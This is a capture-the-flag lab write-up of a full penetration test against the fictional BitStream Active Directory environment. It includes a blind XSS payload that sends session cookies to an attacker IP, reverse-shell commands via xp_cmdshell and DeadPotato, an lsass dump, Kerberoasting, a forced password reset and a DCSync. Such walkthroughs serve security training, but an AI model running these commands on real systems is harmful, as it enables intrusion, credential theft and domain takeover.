> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/bitstream.md).

# BitStream

{% embed url="<https://www.hacksmarter.org/courses/fb110920-c214-4dd1-9055-dc271b4125b9>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective/Scope <a href="#user-content-objectivescope" id="user-content-objectivescope"></a>

BitStream is a cloud storage provider that hosts sensitive data for enterprise clients. They have segmented their internal Active Directory environment (bitstream.hsm) and requested a full penetration test of their environment.

You have been provided with VPN access to their Active Directory environment.

## Summary

<details>

<summary>Summary</summary>

In BitStream, we begin with external enumeration and discover a web server on port `80` alongside SSH on port `22`. Manual browsing reveals a login page and a quote submission form at `/quote`. Testing the submission form for blind XSS, we craft image-based payloads targeting individual fields and confirm execution via a callback on the `requirements`field. A follow-up payload captures a valid session cookie, granting access as `joey@bitstream.hsm`.

Inside the employee portal, we discover an IDOR vulnerability in the messaging endpoint at `/portal/messages/<id>`, allowing us to iterate through message IDs and read conversations belonging to other users. Enumerating through the messages, we recover credentials for `sql_svc`.

With these credentials we authenticate to the MSSQL server on `10.0.1.7` via `mssqlclient.py` and confirm `xp_cmdshell`execution, establishing a reverse shell as `nt service\mssql$sqlexpress`. Noticing `SeImpersonatePrivilege` is enabled, we leverage `DeadPotato` to escalate to `NT Authority\System` and dump the local administrator hash via its built-in Mimikatz functionality. Connecting via `evil-winrm`, we run `PrivescCheck` and uncover plaintext credentials for `bob` stored in WinLogon, then dump `lsass` with `blindsight` to extract his NTLM hash.

With `bob` as a foothold domain user, we tunnel through the SQL server using `ligolo-ng` to reach the domain controller in the segmented subnet. BloodHound enumeration via `bloodyAD` identifies `eddie` as Kerberoastable. We extract and crack his hash offline with `hashcat`, then RDP into the workstation as `eddie`. Inspecting saved browser credentials in Edge, we recover credentials for `luisa`.

BloodHound reveals `luisa` holds `GenericAll` over `james`, allowing a forced password reset. With `james` we access the `Scripts` SMB share on the file server, where an AD backup script exposes credentials for `svc_backup`. This account holds `GetChanges`/`GetChangesAll` permissions on the domain, enabling a DCSync attack via `secretsdump.py` to retrieve the domain Administrator hash and achieve full domain compromise.

</details>

<details>

<summary>Changelog</summary>

The Windows Build of the machines had to be patched to prevent unintended kernel exploits. Unfortunately, that breaks `pypykatz` because it doesn't work with the latest Server 2025 build. The tool `pypykatz` was used to dump the hashes and retreive the cleartext password of `bob`. As a workaround, you can use the KvcForensic tool, which was featured in the Guided Lab: Attacking LSASS:

<https://www.hacksmarter.org/courses/4261d023-900a-443b-8d10-cdc2ee2dddb5/take/15---extracting-secrets-from-lsass>&#x20;

However, this only gives us `bob`'s NT hash, which can be cracked.\
The wirte-up has been updated.

</details>

## Recon

We use `rustscan -b 500 -a 10.0.0.5 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.0.0.5 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/FlqYInJu0xvscQf2PWmb" alt=""><figcaption></figcaption></figure>

This is the public facing target running a web server on port 80 and we also have SSH available.

<figure><img src="/files/dxx7NsJV7ysJSgm8nuMj" alt=""><figcaption></figcaption></figure>

We will first enumerate the site manually

{% code overflow="wrap" expandable="true" %}

```
http://10.0.0.5/
```

{% endcode %}

<figure><img src="/files/6rXRX5RxIM9FTq5zEQOK" alt=""><figcaption></figcaption></figure>

We find a login page, but it doesn't appear to allow us to enumerate users with the error messages. We haven't tested the timing yet. However, we haven't yet identified any known username-email combinations from the initial enumeration.

<figure><img src="/files/t5RcS3twYwjuO9TxYNIl" alt=""><figcaption></figcaption></figure>

We can submit a quote. It might be reviewed by another user. This could be a vector for blind XSS to steal a session cookie for example.

{% code overflow="wrap" expandable="true" %}

```
http://10.0.0.5/quote
```

{% endcode %}

<figure><img src="/files/l1YYpITi06IaNJiAIoNh" alt=""><figcaption></figcaption></figure>

## web.bitstream.hsm

### Access as <joey@bitstream.hsm>

We want to test for blind XSS. To do this, we'll set up a web server and design our XSS payloads so that, if they are successfully executed, they connect to our web server.

{% code overflow="wrap" expandable="true" %}

```
python -m http.server 80
```

{% endcode %}

<figure><img src="/files/wevnabDq7D5PihJgCWSj" alt=""><figcaption></figcaption></figure>

To determine which field was critical when an XSS attack was possible, we distinguish between the field names in our payloads based on the directory we are targeting.

{% code overflow="wrap" expandable="true" %}

```
<body onload="new Image().src='http://192.168.211.2/company_name'">
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
<body onload="new Image().src='http://192.168.211.2/requirements'">
```

{% endcode %}

<figure><img src="/files/hznLgvg4qCrw7159zwI4" alt=""><figcaption></figcaption></figure>

We get a connection back on the requirements field.

<figure><img src="/files/LODDyLVZED1bEvHVx7qx" alt=""><figcaption></figcaption></figure>

Next, we prepare a payload to capture the cookies...

{% code overflow="wrap" expandable="true" %}

```
<body onload="new Image().src='http://192.168.211.2?c='+document['coo'+'kie'];">
```

{% endcode %}

<figure><img src="/files/sbNWca8QtldzM6foXwXA" alt=""><figcaption></figcaption></figure>

... and we successfully retrieve a session cookie.

<figure><img src="/files/6aO7FvDE9lFd5OaSIZ7K" alt=""><figcaption></figcaption></figure>

We add this to the storage of our browser and get a session as `joey@bitstream.hsm`.

<figure><img src="/files/px5se4n9aMlBYvxTXezz" alt=""><figcaption></figcaption></figure>

In the employee portal, we can access support tickets, quotes, and a internal messaging portal.

{% code overflow="wrap" expandable="true" %}

```
http://10.0.0.5/portal
```

{% endcode %}

<figure><img src="/files/BlsNvIR6HsAbT5k2VLSt" alt=""><figcaption></figcaption></figure>

We access the messages.

{% code overflow="wrap" expandable="true" %}

```
http://10.0.0.5/portal/messages
```

{% endcode %}

<figure><img src="/files/ZxjwXqm0SdNYb4qlzU0R" alt=""><figcaption></figcaption></figure>

Our first message starts with ID 3.

{% code overflow="wrap" expandable="true" %}

```
http://10.0.0.5/portal/messages/3
```

{% endcode %}

<figure><img src="/files/wcBY7KCtpR4UtQmTIkmh" alt=""><figcaption></figcaption></figure>

Lets test if we can access other messages by changing the id. And we are able to read the messages between tommy and jon. We have an IDOR / BOLA infront of us. A BOLA (Broken Object Level Authorization) or IDOR (Insecure Direct Object Reference), is a vulnerability where an application fails to verify that the authenticated user has permission to access a specific object&#x20;

{% code overflow="wrap" expandable="true" %}

```
http://10.0.0.5/portal/messages/1
```

{% endcode %}

<figure><img src="/files/NPa3ewMSmDNXEX0qisUq" alt=""><figcaption></figcaption></figure>

We iterate through the messages and finally find the credentials of `sql_svc`.

{% code overflow="wrap" expandable="true" %}

```
http://10.0.0.5/portal/messages/27
```

{% endcode %}

<figure><img src="/files/3za5jyfsiXmOzyAtsErS" alt=""><figcaption></figcaption></figure>

## sql.bitstream.hsm <a href="#user-content-sqlbitstreamhsm" id="user-content-sqlbitstreamhsm"></a>

### Shell as nt service\mssql$sqlexpress

The network appears to be segmented between the WEB on EXT, SQL, and FILE SHARE services and the workstations on Subnet 2 according to the network diagram. However, this is not the case; at the very least, we can directly access the devices in Subnet 2.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.0.1.7 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/cadGUrmiN7AkYNPN3eCG" alt=""><figcaption></figcaption></figure>

With the found credentials we try to connect to the mssql server. We will be using impackets `mssqlclient.py` and the following cheatsheet.

{% embed url="<https://hackviser.com/tactics/pentesting/services/mssql>" %}

{% code overflow="wrap" expandable="true" %}

```
mssqlclient.py 'sql_svc:REDACTED'@10.0.1.7
```

{% endcode %}

<figure><img src="/files/BlNIViZe04l66zP1uWqN" alt=""><figcaption></figcaption></figure>

We're testing whether we can run commands using the `xp_cmdshell`, and it works. We are `mssql$sqlexpress`.

{% code overflow="wrap" expandable="true" %}

```
EXEC xp_cmdshell 'whoami';
```

{% endcode %}

<figure><img src="/files/cKmuO4yj52pscCffBrav" alt=""><figcaption></figcaption></figure>

We prepare a powershell reverse shell using `revshells.com`.

<figure><img src="/files/hVa8bomlHSA1ndRdk6p5" alt=""><figcaption></figcaption></figure>

Next, we set up a listener using Penelope.&#x20;

{% embed url="<https://github.com/brightio/penelope>" %}

{% code overflow="wrap" expandable="true" %}

```
penelope -p 4445
```

{% endcode %}

We execute the reverse shell payload...

{% code overflow="wrap" expandable="true" %}

```
EXEC xp_cmdshell 'powershell -e <YOUR PAYLOAD>';
```

{% endcode %}

<figure><img src="/files/y5n6DICvlR7vySBz0PDj" alt=""><figcaption></figcaption></figure>

... and receive a connection to our listener. We can see that we have `SeImpersonatePrivilege` enabled.

<figure><img src="/files/xxaSEthsz90QstkX5x4X" alt=""><figcaption></figcaption></figure>

### Shell as Administrator

The `SeImpersonatePrivilege` is a powerful Windows privilege that allows a user or process to impersonate another user's security context. There are several Potato exploits available that allows to escalate to `NT Authority\System`. While testing the GodPotato and EfsPotato was not working. But there are many more. Like DeadPotato.

{% embed url="<https://github.com/lypd0/DeadPotato/releases/tag/v1.2>" %}

We download the exploit to the target system...

{% code overflow="wrap" expandable="true" %}

```
curl http://192.168.211.2/DeadPotato-NET4.exe -o DeadPotato-NET4.exe
```

{% endcode %}

... and execute it. It suggest serveral options, like running command, running mimikatz or sharphound. This tool is fullfledged.

{% code overflow="wrap" expandable="true" %}

```
.\DeadPotato-NET4.exe
```

{% endcode %}

<figure><img src="/files/N4U03Mh0a2SSCmYuXX1p" alt=""><figcaption></figcaption></figure>

To confirm the exploit is working we issue a `whoami` command using the exploit and we see we are `NT Authority\System`.

{% code overflow="wrap" expandable="true" %}

```
.\DeadPotato-NET4.exe -cmd whoami
```

{% endcode %}

<figure><img src="/files/3enBUwczu3wYE0t8yihk" alt=""><figcaption></figcaption></figure>

Next, we try to dump the SAM and SYSTEM secrets and are able to retrieve the local administrator hash.

{% code overflow="wrap" expandable="true" %}

```
.\DeadPotato-NET4.exe -mimi sam
```

{% endcode %}

<figure><img src="/files/3d7B2jRsoui8aWYA8R93" alt=""><figcaption></figcaption></figure>

We could also spawn a reverse shell. Since we are running Penelope we can deatach the current session using `CTRL+D` or `F12` (depends on the target system it is connected) and select the session. We are `NT Authority\System` but we do not have an elevated shell.

{% code overflow="wrap" expandable="true" %}

```
.\DeadPotato-NET4.exe -rev 192.168.211.2:4445
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
CTRL+D
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
sessions 2
```

{% endcode %}

<figure><img src="/files/lYaWkQ3gB67oasP0uoLy" alt=""><figcaption></figcaption></figure>

### Bob's credentials and hash

We connect to the the SQL server as Administrator using evil-winrm with the Administrators hash.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i 10.0.1.7 -u Administrator -H 'REDACTED'
```

{% endcode %}

<figure><img src="/files/qVmjYZj56NOMoZkCBzI9" alt=""><figcaption></figcaption></figure>

From there we run `PrivescCheck.ps1`, a tool similar to WINPeas or PowerUp.

{% embed url="<https://github.com/itm4n/PrivescCheck>" %}

{% code overflow="wrap" expandable="true" %}

```
upload PrivescCheck.ps1
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML"
```

{% endcode %}

<figure><img src="/files/9oR21aW1hAeAW3Cepizx" alt=""><figcaption></figcaption></figure>

We download the report...

{% code overflow="wrap" expandable="true" %}

```
download PrivescCheck_SQL.html
```

{% endcode %}

<figure><img src="/files/pSHaaaLEkbIyL0Ldrz2e" alt=""><figcaption></figcaption></figure>

... and we see the Credentials were set in WinLogon for the user bob.

<figure><img src="/files/ZENYJjdI5bmPAHhJBY69" alt=""><figcaption></figcaption></figure>

But we also need the hash. To dump the lsass we are using a tool called blindsight. We compile it like shown in the repository.

{% embed url="<https://github.com/0xdea/blindsight>" %}

Next we upload and run the tool.

{% code overflow="wrap" %}

```
upload blindsight.exe
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
.\blindsight.exe
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
.\blindsight.exe .\<YOUR_LOG>.log
```

{% endcode %}

The resulting lsass.dmp file is a large file, the download may take a while.

{% code overflow="wrap" expandable="true" %}

```
download lsass.dmp
```

{% endcode %}

<figure><img src="/files/YtjXyg8cywY5AUu8breZ" alt=""><figcaption></figcaption></figure>

To extract the hashes from the dump we are using `pypykatz`... but we do not receive the password of bob with the latest Server 2025 build and the used version of pypykatz.

{% code overflow="wrap" %}

```
pypykatz lsa minidump lsass.dmp
```

{% endcode %}

<figure><img src="/files/Md0tJyJQkSQKDt8iR21n" alt=""><figcaption></figcaption></figure>

But we have a workaround ready using KvcForensic also highlighted in thefree  Guided Lab: Attacking LSASS:

{% embed url="<https://www.hacksmarter.org/courses/4261d023-900a-443b-8d10-cdc2ee2dddb5/take/15---extracting-secrets-from-lsass>" %}

We download the latest version of KvcForensics from <https://github.com/wesmar/KvcForensic/releases/tag/latest>. Next we make the static version executable and run it.

{% code overflow="wrap" %}

```
./KvcForensic_static --analyze-dump \
    --input lsass.DMP \
    --output result.txt \
    --templates KvcForensic.json \
    --format both --full --reveal-secrets

```

{% endcode %}

<figure><img src="/files/wCaF6ZctCWKFnekU6IW5" alt=""><figcaption></figcaption></figure>

We inspect the results and have data for the user `bob`. Unfortunately, in this case, we don't have the password in plain text as we did before, but we do have the NT hash, which we can crack.

<figure><img src="/files/ybB2kVpQoWeYv8Jr6vIK" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
hashcat -a0 -m 1000 'REDACTED' /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="/files/qlDioqSMB0o5OaYenNMO" alt=""><figcaption></figcaption></figure>

***

**DEPRECATED**

{% code overflow="wrap" expandable="true" %}

```
pypykatz lsa minidump lsass.dmp
```

{% endcode %}

<figure><img src="/files/t2sKw6H81Q6rt1V0kkeC" alt=""><figcaption></figcaption></figure>

... and we spot the hash for bob.

<figure><img src="/files/MdDm176Gs3P5UXfhmSQB" alt=""><figcaption></figcaption></figure>

***

## Ligolo-ng setup

Now that we have a domain user, let's try to enumerate the domain. However, the domain controller is located in subnet 3, which is actually segmented. So we need to tunnel our traffic, because the DC is accessible from the SQL Server.

<figure><img src="/files/sdtVLtFQXL8Fu5cvoPRS" alt=""><figcaption></figcaption></figure>

We will be using the latest release `v0.8.2` of ligolo-ng:

{% embed url="<https://github.com/nicocha30/ligolo-ng>" %}

First, we run a proxy.

{% code overflow="wrap" expandable="true" %}

```
sudo ./proxy -selfcert
```

{% endcode %}

Inside that proxy we create an interface called `bitstream`.

<figure><img src="/files/O4bbt9otWijcUYR5t6Us" alt=""><figcaption></figcaption></figure>

Now, we add the DCs IP as routes in CIDR notation.&#x20;

{% code overflow="wrap" expandable="true" %}

```
ifcreate --name bitstream
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
route_add --name bitstream --route 240.0.0.1/32
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
route_add --name bitstream --route 10.0.2.5/32
```

{% endcode %}

<figure><img src="/files/ggJbAucsfS6CKxftpPN1" alt=""><figcaption></figcaption></figure>

Next, we upload an agent and connect to our proxy.

{% code overflow="wrap" expandable="true" %}

```
upload agent.exe
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
./agent -connect 192.168.211.2:11601 --ignore-cert
```

{% endcode %}

<figure><img src="/files/rYRR2onD5bQgMYTMcopK" alt=""><figcaption></figcaption></figure>

We can list and interact with the session by calling `session` and then chosing the session. The following screenshot illustrates the steps taken.

{% code overflow="wrap" expandable="true" %}

```
session
```

{% endcode %}

After chosing the session, we can start the tunnel.

{% code overflow="wrap" expandable="true" %}

```
tunnel_start --tun bitstream
```

{% endcode %}

<figure><img src="/files/JLVZa7kBmHJS5GGM6rvi" alt=""><figcaption></figcaption></figure>

We should now be able to reach out to the `DC01`.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.0.2.5 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/lW9x9awTy7pTDZVp6rLR" alt=""><figcaption></figcaption></figure>

We test the credentails of `bob` using NetExec and successfully authenticate agains the domain controller.

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.0.2.5 -u bob -p REDACTED --shares
```

{% endcode %}

<figure><img src="/files/EndUW71V4ci88JQ2xXBr" alt=""><figcaption></figcaption></figure>

We do not find any shares, but we issue the following command to generate an entry for our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.0.2.5 -u bob -p REDACTED --generate-hosts-file hosts
```

{% endcode %}

<figure><img src="/files/GZNjbIumn0ARB1rllZvO" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.0.2.5     DC01.bitstream.hsm bitstream.hsm DC01
```

{% endcode %}

Now that we have access to the domain controller and have confirmed that bob's credentials also work for the domain controller, we're going to try to enumerate the domain. Unfortunately, most of the collectors fail. However, we've had success using bloodyAD.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC01.bitstream.hsm -d bitstream.hsm -u bob -p REDACTED get bloodhound
```

{% endcode %}

<figure><img src="/files/HFxs4VYC2YEX7FEOtFTy" alt=""><figcaption></figcaption></figure>

Next we ingest the collected data to our BloodHound instance.&#x20;

The user `bob` is just a domain user without any privileges.

<figure><img src="/files/uwxOF7PUZcytevvcbNEw" alt=""><figcaption></figcaption></figure>

But we check for keberoastable user and spot `eddie`.

<figure><img src="/files/tWJGH0QaOleXa0JQphXU" alt=""><figcaption></figcaption></figure>

We can perform a kerberoast using Netexec.

{% code overflow="wrap" expandable="true" %}

```
nxc ldap DC01.bitstream.hsm -u bob -p 'REDACTED' --kerberoasting kerberoastable.txt
```

{% endcode %}

<figure><img src="/files/xLEpFVsefHA4QcdQVKht" alt=""><figcaption></figcaption></figure>

Next, we crack the hash.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m13100 kerberoastable.txt /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords.txt
```

{% endcode %}

<figure><img src="/files/UiTQI4MTMspwq3EcgdQ4" alt=""><figcaption></figcaption></figure>

## wkst.bitstream.hsm

The workstation does not provide any services besides two open ports for remote desktop and remote management.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.0.1.6 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/fTPLBzHWkXpmPP5uLAtq" alt=""><figcaption></figcaption></figure>

### Shell as eddie

We test the credentials of eddie gathered via kerberaosting and are able to authenticate via RDP. Note, that the admin flag might be a false-positive in this case.

{% code overflow="wrap" expandable="true" %}

```
nxc rdp 10.0.1.6 -u eddie -p 'REDACTED'
```

{% endcode %}

<figure><img src="/files/8keqzpHHRvXdxH6TCX4h" alt=""><figcaption></figcaption></figure>

We connect to the target as eddie using remmina.

<figure><img src="/files/Bis3eNrwbf9ULwMWsQpy" alt=""><figcaption></figcaption></figure>

### Access as luisa

We do not find any services or scheduled task runnig. But there is the edge browser. Let's check if that holds any saved credentials. There is one entry for gitlab.

<figure><img src="/files/TeHL13RzRQA9ZGH4oJBv" alt=""><figcaption></figcaption></figure>

We open the entry and find the credentials of `luisa`.

<figure><img src="/files/8qVH0DPiQU1nawPOyBTv" alt=""><figcaption></figcaption></figure>

We test the credentials on the SHARE and succesffuly authenticate.

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.0.1.5 -u luisa -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/Aq9Ut2Tvc5mpNSeV0zav" alt=""><figcaption></figcaption></figure>

## share.bitstream.hsm <a href="#user-content-sharebitstreamhsm" id="user-content-sharebitstreamhsm"></a>

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.0.1.5 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/tVP5mwfBzR9aEYynyhdc" alt=""><figcaption></figcaption></figure>

Every credential gathered so far were tested on the SHARE server but without success. We were only able to identify a share called Scripts. This might hold some valuable / sensitive information burried in the scripts.

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.0.1.5 -u bob -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/PejUPzPyIa1CQzaw3Uhu" alt=""><figcaption></figcaption></figure>

Also with `luisa` we are not able to read the share.

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.0.1.5 -u luisa -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/gHL8ZwWfx6ZbIMxDyTGW" alt=""><figcaption></figcaption></figure>

### Access as james

We check back our BloodHound enumeration and see that luisa has GenericAll permissions over jamses. This allows to change the password of the user james.

<figure><img src="/files/bHegobaUKsbMe4aYUCXo" alt=""><figcaption></figcaption></figure>

We change the password of james to our liking.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC01.bitstream.hsm -d bitstream.hsm -u luisa -p 'REDACTED' set password  'james' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/X7c8G3LG6LHftSpEmRZ6" alt=""><figcaption></figcaption></figure>

Next, we connect to the share server again. This time we are able to read the Scripts share.

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.0.1.5 -u james -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="/files/3NQY9tYvchlr39I5AXCX" alt=""><figcaption></figcaption></figure>

## DC01.bitstream.hsm

### Access as svc\_backup

We connect to the share using impackets smbclient.py. Inside that share we find four scripts.

{% code overflow="wrap" expandable="true" %}

```
smbclient.py bitstream.hsm/james:'Pwned123@!'@10.0.1.5
```

{% endcode %}

<figure><img src="/files/TF1ZYeoB0PrR8rVohjyJ" alt=""><figcaption></figcaption></figure>

The Automated-AD-Backup script holds the credentials of `svc_backup`.

<figure><img src="/files/2GdvUGnKhh1SBKOgEVCI" alt=""><figcaption></figcaption></figure>

Next, we test the credentials using NetExec and are successful.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.bitstream.hsm -u svc_backup -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/IgQgOPmF7HSrl1SpRlx4" alt=""><figcaption></figcaption></figure>

Unfortunately we cannot get an interactive session using impackets smbexec.py. We can access the C drive through smbclient, but do not have sufficient permssion to reach the flag in the Administrators Desktop.

{% code overflow="wrap" expandable="true" %}

```
smbexec.py bitstream.hsm/svc_backup:'REDACTED'@DC01.bitstream.hsm
```

{% endcode %}

<figure><img src="/files/pNuApThNevlbIrUO7QjB" alt=""><figcaption></figcaption></figure>

### Shell as Administrator

The `svc_backup` user has `GetChanges`/`GetChangesAll` permissions on the domain, allowing us to perform a DCSync attack and retrieve password hashes for any domain account.&#x20;

<figure><img src="/files/79ZvPXPYUWAkwoulJ4jP" alt=""><figcaption></figcaption></figure>

We perform the DCSync via impackets secretsdump.py and are able to retrieve the Administrator hash from the DC.

{% code overflow="wrap" expandable="true" %}

```
secretsdump.py 'svc_backup:REDACTED@DC01.bitstream.hsm' 
```

{% endcode %}

<figure><img src="/files/xv4zhEx02HeAFbtRkPox" alt=""><figcaption></figcaption></figure>

We connect to the DC using evil-winrm as the administrator and find the final flag at `C:\Users\Administrator\Desktop\root.txt`.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC01.bitstream.hsm -u Administrator -H 'REDACTED'
```

{% endcode %}

<figure><img src="/files/MUO9qxCFHlbfne4AKAAi" alt=""><figcaption></figcaption></figure>
